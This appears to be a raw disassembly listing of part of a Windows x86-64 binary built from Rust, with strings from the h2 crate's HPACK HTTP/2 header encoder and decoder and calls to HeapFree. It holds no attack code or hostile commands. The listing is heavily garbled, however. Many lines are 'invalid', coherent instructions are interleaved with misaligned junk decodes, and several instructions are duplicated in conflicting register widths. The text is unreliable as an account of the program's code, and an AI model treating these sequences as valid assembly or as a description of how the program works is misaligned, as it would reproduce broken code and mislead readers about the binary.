lea r15, [rsp + 0x30]
mov rdx, r15
xor r8d, r8d
call fcn.14001bbe0
mov rax, qword [rsp + 0x40]
add byte [rax - 0x75], cl
and al, 0x40
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [rax + 0x10]
lea rdi, [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea r12, [rsp + 0x138]
mov r13, qword [rsp + 0xc8]
mov ebp, dword [rsp + 0xc8]
enter 0, 0
jmp 0x14001a8ee
mov r8, qword [rsp + 0x98]
cmp r8, 2
cmp eax, 2
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rdx + 1], dh
add byte [rax], al
je 0x14001b182
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0xa0]
mov ecx, dword [rsp + 0xa0]
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rsp + 0xa0]
invalid
invalid
mov ecx, dword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
test r8, r8
test eax, eax
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rdx + rdx + 0x4c], 0x8b
adc byte [rcx - 1], cl
dec eax
and r8, 0xfffffffffffffff0
test eax, eax
je 0x14001b03f
mov r8, qword [rax + 0x10]
dec r8
dec eax
dec eax
and r8, 0xfffffffffffffff0
add rcx, r8
add ecx, eax
add ecx, eax
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x98]
cmp r8, 2
je 0x14001b182
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rsi], ch
add dword [rax], eax
add byte [rax], al
invalid
invalid
xchg esp, eax
add byte [rax], al
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xa0]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
and al, 0xa8
add byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
xor dword [rcx], eax
add byte [rax], al
and al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
and al, 0xa8
and al, 0xa8
add byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
xor dword [rcx], eax
add byte [rax], al
mov r8, qword [rax + 0x10]
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add ecx, eax
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0xa0]
invalid
add byte [rax], al
add al, dh
dec qword [rax]
dec dword [rax]
movabs al, byte [0xf08ff48f0000000]
test ebx, esp
add byte [rax], al
add byte [rax - 0x75], cl
dec dword [rax]
jne 0x14001b182
mov rcx, qword [rsp + 0xa0]
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsp + 0xa8]
invalid
pushfq
mov rdx, qword [rsp + 0xa8]
call fcn.140004950
cwde
invalid
mov r14b, 0x13
cmp byte [rsp + 0x2e], 0
and al, 0x2e
add byte [rdi], cl
test ebp, ecx
add byte [rax], al
invalid
and al, 0x2e
add byte [rdi], cl
test ebp, ecx
add byte [rax], al
add cl, ch
invalid
jmp 0x14001b18c
mov r14b, 3
mov r8, qword [rsp + 0x98]
cmp r8, 2
je case.0x14000d3b5.427
add byte [rax], al
invalid
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rax + 0x48000000], ah
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xb0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rsp + 0xb0]
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
add byte [rax], al
add byte [rbp - 0x7b], cl
invalid
je 0x14001b10b
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rdx + rdx + 0x4c], 0x8b
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
mov r8, qword [rax + 0x10]
dec r8
dec eax
and r8, 0xfffffffffffffff0
and eax, 0xfffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x98]
mov eax, dword [rsp + 0x98]
push 0x24848b4c
cwde
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add dh, byte [rax + riz*2 + 0x48]
mov rdx, qword [rsp + 0xb0]
cmp r8, 2
je case.0x14000d3b5.427
mov rdx, qword [rsp + 0xb0]
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
add byte [rax], al
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
invalid
add byte [rbp - 0x7b], cl
sal byte [rbp + rdi + 0x4c], 0x8b
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
and eax, 0xfffffff0
test r8, r8
je 0x14001b176
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
and eax, 0xfffffff0
and eax, 0xfffffff0
add rcx, r8
add rcx, 0x10
adc bh, bh
nop
add byte [rax], 0
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add al, dh
dec qword [rax]
adc bh, bh
nop
add byte [rax], 0
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add al, dh
dec qword [rax]
jne case.0x14000d3b5.427
mov rcx, qword [rsp + 0xa0]
mov ecx, dword [rsp + 0xa0]
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa8
mov rdx, qword [rsp + 0xa8]
add byte [rax], al
add al, ch
call fcn.140004950
jmp case.0x14000d3b5.427
add byte [rax], al
call fcn.140004950
jmp case.0x14000d3b5.427
call qword [rax + 0x80]
cmp r14b, 0xc
jne 0x14001b18f
invalid
or eax, 0x8013b641
jl 0x14001b1ac
mov r14b, 0x13
cmp byte [rsp + 0x2e], 0
adc eax, dword [rax + 0x2e247c]
add byte cs:[rbp + 3], dh
jne 0x14001b18f
mov r14b, 0x15
mov dh, 0x15
adc eax, 0x48f08944
add esp, 0x1e8
invalid
invalid
add dword [rax], eax
invalid
mov eax, r14d
add rsp, 0x1e8
invalid
invalid
add dword [rax], eax
invalid
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
call qword [rax + 0x80]
mov r14b, 0x13
mov dh, 0x13
adc eax, dword [rax + 0x2e247c]
cmp byte [rsp + 0x2e], 0
jne 0x14001b18f
jmp 0x14001b18c
mov r14b, 0xb
mov dh, 0xb
mov r8, qword [rsp + 0x98]
cmp r8, 2
cmp eax, 2
jne 0x14001b0dc
jmp case.0x14000d3b5.427
lea rcx, [0x140116f71]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackdecoder.rsSize_of_table___0__but_no_headers_left_
mov edx, 0x28
call fcn.140108c40
pop rcx
fimul dword [rsi]
add ah, cl
str word [rbp + rcx*4 + 5]
ret
pop rcx
fimul dword [rsi]
add ah, cl
int3
mov rsi, rdx
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x126fd4
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
lea edx, str.StreamIdLength
adc eax, 0x126fd4
mov r8d, 8
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
invalid
mov byte [rsp + 0x30], al
and al, 0x30
sbb byte [rax - 0x77], cl
je case.0x140018f24.363
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
and al, 0x30
xor byte [rax - 0x39], cl
and al, 0x20
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x140116760]
str word [rax - 0x73]
and al, 0x20
and al, 0x31
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
sub eax, 0x48000fb5
str word [rax - 0x73]
and al, 0x20
lea rdx, [rsp + 0x38]
lea edx, [rsp + 0x38]
call fcn.140016570
mov rcx, qword [rsp + 0x20]
mov ecx, dword [rsp + 0x20]
invalid
mov ecx, dword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
push rsp
and al, 0x30
test rcx, rcx
je 0x14001b2a9
mov al, 1
test dl, dl
jne 0x14001b2ab
mov rsi, qword [rsp + 0x28]
mov esi, dword [rsp + 0x28]
cmp rcx, 1
cmp ecx, 1
jne 0x14001b28f
cmp byte [rsp + 0x31], 0
je 0x14001b28f
invalid
test byte es:[rsi + 0x34], 4
test byte [rsi + 0x34], 4
jne 0x14001b28f
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
mov ecx, eax
mov al, 1
test cl, cl
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14001b2ab
sbb al, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x132dda
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
jmp 0x14001b2ab
mov eax, edx
test al, al
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
pop rsi
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
pop rsi
ret
int3
int3
cmp al, 0xb
je 0x14001b2ed
invalid
invalid
cmp al, 0xa
jb 0x14001b2ed
cmp qword [rsi + 0x10], 0
jle 0x14001b2e7
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rsi + 8]
je 0x14001b2ed
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x18]
mov eax, dword [rsi + 0x18]
sbb byte [rax - 0x7b], cl
sal byte [rdi + rcx + 0x48], 0x8d
cmovs ecx, dword [rbp - 0x74b7cfb2]
test rax, rax
je 0x14001b305
invalid
cmovs ecx, dword [rbp - 0x74b7cfb2]
lea rcx, [rsi + 0x30]
mov rdx, qword [rsi + 0x20]
push rsi
and byte [rbx + rcx*4 + 0x46], cl
mov r8, qword [rsi + 0x28]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x38]
test rax, rax
je 0x14001b31d
invalid
invalid
mov r8, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x38]
test rax, rax
je 0x14001b31d
lea rcx, [rsi + 0x50]
push rax
mov rdx, qword [rsi + 0x40]
mov r8, qword [rsi + 0x48]
push rsi
mov r8, qword [rsi + 0x48]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x58]
mov eax, dword [rsi + 0x58]
test rax, rax
je 0x14001b335
lea rcx, [rsi + 0x70]
mov rdx, qword [rsi + 0x60]
mov r8, qword [rsi + 0x68]
call qword [rax + 0x10]
push rax
invalid
push 0x481050ff
mov eax, dword [rsi + 0x78]
push rax
adc byte [rax - 0x75], cl
js 0x14001b382
mov rax, qword [rsi + 0x78]
test rax, rax
test eax, eax
je 0x14001b35f
and dword [rax - 0x75], ecx
adc byte [rax - 0x73], cl
mov ss, word [rax + 0x48000000]
mov rax, qword [rax + 0x10]
lea rcx, [rsi + 0x90]
mov rdx, qword [rsi + 0x80]
mov edx, dword [rsi + 0x80]
mov edx, dword [rsi + 0x80]
add byte [rax], al
mov r8, qword [rsi + 0x88]
add rsp, 0x20
pop rsi
jmp rax
invalid
loopne case.0x140018f24.370
nop
add rsp, 0x20
pop rsi
ret
int3
int3
add rsp, 0x20
pop rsi
ret
invalid
ror dword [rax], 0xe8
invalid
add dword [rax], eax
lea rcx, [rsi + 0x68]
call case.0x140028096.388
mov r8, qword [rsi + 0x140]
test r8b, 1
rol byte [rcx], 0x75
invalid
push 0xffffffffffff2be8
dec dword [rbx + rcx*4 - 0x7a]
add dword [rax], eax
add byte [rcx - 0xa], al
rol byte [rcx], 0x75
invalid
lock dec qword [r8 + 0x20]
jne 0x14001b37a
and byte [rbp - 0x2f], sil
mov rax, qword [r8 + 0x20]
mov eax, dword [rax + 0x20]
cmp qword [r8], 0
cmp dword [rax], 0
cmp byte [rax], al
je 0x14001b3e8
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rsi, r8
mov esi, eax
mov r8, rax
mov eax, eax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
invalid
jmp 0x14001b3e8
str word [rcx - 0x77]
invalid
shr r8, 5
neg r8
cmp qword [rsi + 0x138], r8
invalid
je 0x14001b37a
add byte [rcx + rbx*4 + 0x4c], dh
add eax, dword [rsi + 0x128]
xchg byte [rax], ch
add dword [rax], eax
invalid
add r8, qword [rsi + 0x128]
xchg byte [rax], ch
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [0x140182260]
or eax, 0x166e71
invalid
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
jg 0x14001b40b
invalid
jg 0x14001b40b
add ah, cl
int3
sub rsp, 0x80
test r8, r8
ror byte [rdi], 0x84
movsb byte [rdi], byte [rsi]
je case.0x14000d3b5.472
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
jae case.default.0x14001b42f
cmp r8, 0x3e
jae case.default.0x14001b42f
lea rdx, [0x1401167f0]
sal byte [rbx - 0xb6fff1], cl
dec r8
enter 0xffffffffffff8d48, 5
xchg esp, eax
mov ah, 0x15
add byte [rsi + 0x63], cl
lea rax, [0x1401768bc]
movsxd r8, dword [rax + r8*4]
add al, 0x80
add al, 0x80
add r8, rax
jmp r8
rol byte [rcx - 1], 0xe0
mov r10b, 2
mov r8d, 1
add byte [rax], al
add byte [rbp + 0x31], al
invalid
add byte [rbp + 0x31], al
fucomi st(1)
invalid
pop rdx
invalid
jmp 0x14001bb9d
add byte [rax], al
add r8, 0xffffffffffffffc2
cmp qword [rdx + 0x18], r8
sbb byte [rsi + 0x68], dh
sbb byte [rsi + 0x68], dh
mov rax, qword [rdx]
mov eax, dword [rdx]
add r8, qword [rdx + 0x10]
xor r9d, r9d
xor ecx, ecx
cmp r8, rax
cmovae r9, rax
sub r8, r9
lea rax, [r8 + r8*8]
shl rax, 3
add rax, qword [rdx + 8]
add eax, dword [rdx + 8]
add eax, dword [rdx + 8]
or byte [rax - 0x73], cl
push rsp
and al, 0x38
lea rdx, [rsp + 0x38]
mov rsi, rcx
mov rcx, rdx
mov rdx, rax
invalid
ret 0x80e8
call fcn.14001d500
mov rax, qword [rsp + 0x78]
mov eax, dword [rsp + 0x78]
mov qword [rsi + 0x40], rax
movups xmm0, xmmword [rsp + 0x38]
adc byte [rsp + 0x38], al
movups xmm0, xmmword [rsp + 0x38]
adc byte [rsp + 0x38], al
movups xmm1, xmmword [rsp + 0x48]
movups xmm2, xmmword [rsp + 0x58]
push rsp
and al, 0x58
movups xmm3, xmmword [rsp + 0x68]
pop rsp
and al, 0x68
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
adc dword [rsi], eax
adc dword [rsi], eax
add rsp, 0x80
pop rsi
ret
mov byte [rcx], 5
mov byte [rcx + 0x40], 8
or byte [rax - 0x7f], cl
invalid
add byte [rax], 0
invalid
or byte [rax - 0x7f], cl
invalid
add byte [rax], al
add byte [rsi - 0x3d], bl
pop rsi
ret
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
sldt word [rcx - 0x47]
add dword [rax], eax
add byte [rax], al
mov r8d, 0x37
jmp 0x14001bb95
mov al, 6
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x2c
jmp 0x14001bb95
nop
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x26
jmp 0x14001bb95
jo 0x14001b529
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
ror byte [rdi], 0x29
and al, 0x20
sub dword [rsp + 0x20], eax
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x40
jmp 0x14001bb95
invalid
push rax
invalid
add byte [rdi], cl
push rdi
ror byte [rdi], 0x29
and al, 0x20
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x32
jmp 0x14001bb95
xor byte [rsi], al
add byte [rax], al
xor byte [rsi], al
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x45
add byte [rax], al
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x23
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x25
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
sbb byte [rax], al
add byte [rax], al
mov r8d, 0x18
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
add dword [rax], eax
add byte [rax], al
mov r8d, 0x22
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov cl, 0xf
add byte [rcx - 0x47], al
mov ecx, 1
mov r8d, 3
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401167f0]
lea eax, [0x1401167f0]
mov r9d, 1
mov r8d, 0x2d
add byte [rax], al
add cl, ch
push rax
invalid
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401167f0]
mov r8d, 1
add byte [rax], al
xor edx, edx
xor r11d, r11d
xor ebx, ebx
xor r10d, r10d
mov r9d, 1
jmp 0x14001bb9d
add byte [rax], al
add cl, ch
xor byte [0x19710b66f], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x21
jmp 0x14001bb95
add byte [rax], al
add cl, ch
or byte [0x19710b68f], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x33
jmp 0x14001bb95
add al, 0
invalid
add byte [rax], al
add cl, ch
call 0x14f01b6b2
add al, 0
add byte [rdi], cl
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
push rdi
ror byte [rdi], 0x29
and al, 0x20
sub dword [rsp + 0x20], eax
lea rax, [0x1401167f0]
mov r9d, 1
mov r8d, 0x49
jmp 0x14001bb95
add al, 0
invalid
mov r10b, 7
mov edx, 0x190
jmp 0x14001b941
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov r8d, 0x36
jmp 0x14001bb95
mov r10b, 5
mov r11d, 0xb
or eax, dword [rax]
add byte [rax], al
mov ebx, 0xb
lea r8, str._index.htmlgzip__deflateencoding_header_without_name__but_no_previous_index_to_use_for_nameC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackencoder.rs
jmp 0x14001bb9d
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov r8d, 0x29
jmp 0x14001bb95
add al, 0
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
lea eax, [0x1401167f0]
mov r9d, 1
mov r8d, 0x4c
jmp 0x14001bb95
mov r10b, 7
mov edx, 0x194
jmp 0x14001b941
add dword [rax], eax
invalid
in eax, 1
add byte [rax], al
mov r10b, 7
mov edx, 0xce
jmp 0x14001b941
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
lea rax, [0x1401167f0]
mov r9d, 1
add byte [rcx - 0x48], al
invalid
mov r8d, 0x16
jmp 0x14001bb95
or al, 4
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov r8d, 0x15
jmp 0x14001bb95
movabs rdx, 0x202020202020202
jmp 0x14001b82e
lea rax, [rsp + 0x38]
and al, 0x38
mov rsi, rcx
mov rcx, rax
call fcn.14001ece0
mov rcx, rsi
mov rax, qword [rsp + 0x38]
mov r9, qword [rsp + 0x40]
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x20], xmm0
movzx r10d, byte [rsp + 0x58]
mov edx, dword [rsp + 0x59]
mov dword [rsp + 0x30], edx
push rsp
and al, 0x30
mov edx, dword [rsp + 0x5c]
pop rsp
mov dword [rsp + 0x33], edx
mov r8d, 2
add byte [rcx], dh
rol byte [rbp + 0x31], cl
fucomi st(1)
wait
add eax, dword [rax]
add byte [rcx - 0x4e], al
mov r10b, 5
mov r11d, 1
xor edx, edx
xor r11d, r11d
jmp 0x14001bb9d
mov r10b, 5
mov r11d, 1
lea r8, [0x1401731b8]
lea eax, [0x1401731b8]
jmp 0x14001bb9d
mov r10b, 7
mov edx, 0xc8
jmp 0x14001b941
movabs rdx, 0x101010101010101
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx - 0x4e], eax
add ecx, dword [rcx - 0x77]
ror byte [rcx - 0x77], 1
shr ecx, cl
invalid
mov r10b, 3
mov r8, rdx
mov r11, rdx
mov ebx, edx
jmp 0x14001bb9d
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x1e
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 4
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
add byte [rax], al
mov r8d, 0x2a
jmp 0x14001bb95
xorps xmm0, xmm0
ror byte [rdi], 0x29
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov r8d, 0xd
jmp 0x14001bb95
mov r10b, 4
mov r11d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
ja 0x14001b93f
lea r8, [0x140172e43]
jmp 0x14001bb9d
adc eax, 0x2cce900
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
add dword [rax], eax
add byte [rax], al
mov r8d, 0xe
mov eax, 0xe
jmp 0x14001bb95
mov r10b, 7
mov edx, 0x1f4
jmp 0x14001b941
mov r10b, 4
mov r11d, 5
mov ebx, 5
add byte [rax], al
lea r8, [0x140172e47]
jmp 0x14001bb9d
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
xor edx, edx
xor r8d, r8d
jmp 0x14001bb97
add byte [rax], al
add byte [rcx], dh
rol byte [rbp + 0x31], cl
shr cl, 0x68
add al, byte [rax]
add byte [rcx - 0x4e], al
mov r10b, 7
mov r10b, 7
mov edx, 0x130
add bl, ch
invalid
mov r10b, 7
mov edx, 0xcc
add byte [rax], al
jmp 0x14001bb9d
push rdi
add al, byte [rax]
add byte [rdi], cl
xorps xmm0, xmm0
invalid
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x1d
jmp 0x14001bb95
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and byte [rax - 0x73], cl
add eax, 0xfae7b
and byte [rax - 0x73], cl
add eax, 0xfae7b
mov r9d, 1
mov r8d, 0x20
jmp 0x14001bb95
lar eax, word [rax]
add byte [rdi], cl
xorps xmm0, xmm0
invalid
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
sldt word [rcx - 0x47]
add dword [rax], eax
add byte [rax], al
mov r8d, 0x2e
jmp 0x14001bb95
out dx, eax
add dword [rax], eax
add byte [rdi], cl
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x10
jmp 0x14001bb95
iretd
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x28
jmp 0x14001bb95
scasd eax, dword [rdi]
add dword [rax], eax
add byte [rdi], cl
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 8
jmp 0x14001bb95
pop qword [rcx]
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x46
add byte [rax], r8b
add cl, ch
outsd dx, dword [rsi]
add dword [rax], eax
add byte [rax], al
jmp 0x14001bb95
add byte [rdi], cl
push rdi
ror byte [rdi], 0x29
and al, 0x20
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
add dword [rax], eax
add byte [rax], al
mov r8d, 0x2b
mov eax, 0x2b
jmp 0x14001bb95
add dword [rax], eax
add byte [rdi], cl
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
add byte [rax], al
mov r8d, 0x4a
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov ecx, 1
mov r8d, 0x11
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
pop rbx
lodsd eax, dword [rsi]
sldt word [rcx - 0x47]
mov ecx, 1
pop rbx
lodsd eax, dword [rsi]
sldt word [rcx - 0x47]
mov ecx, 1
mov r8d, 0x19
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x1a
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x27
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x1401167f0]
mov r9d, 1
mov r8d, 0x17
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
add eax, 0xfacdb
mov r9d, 1
mov r8d, 0x41
jmp 0x14001bb95
xorps xmm0, xmm0
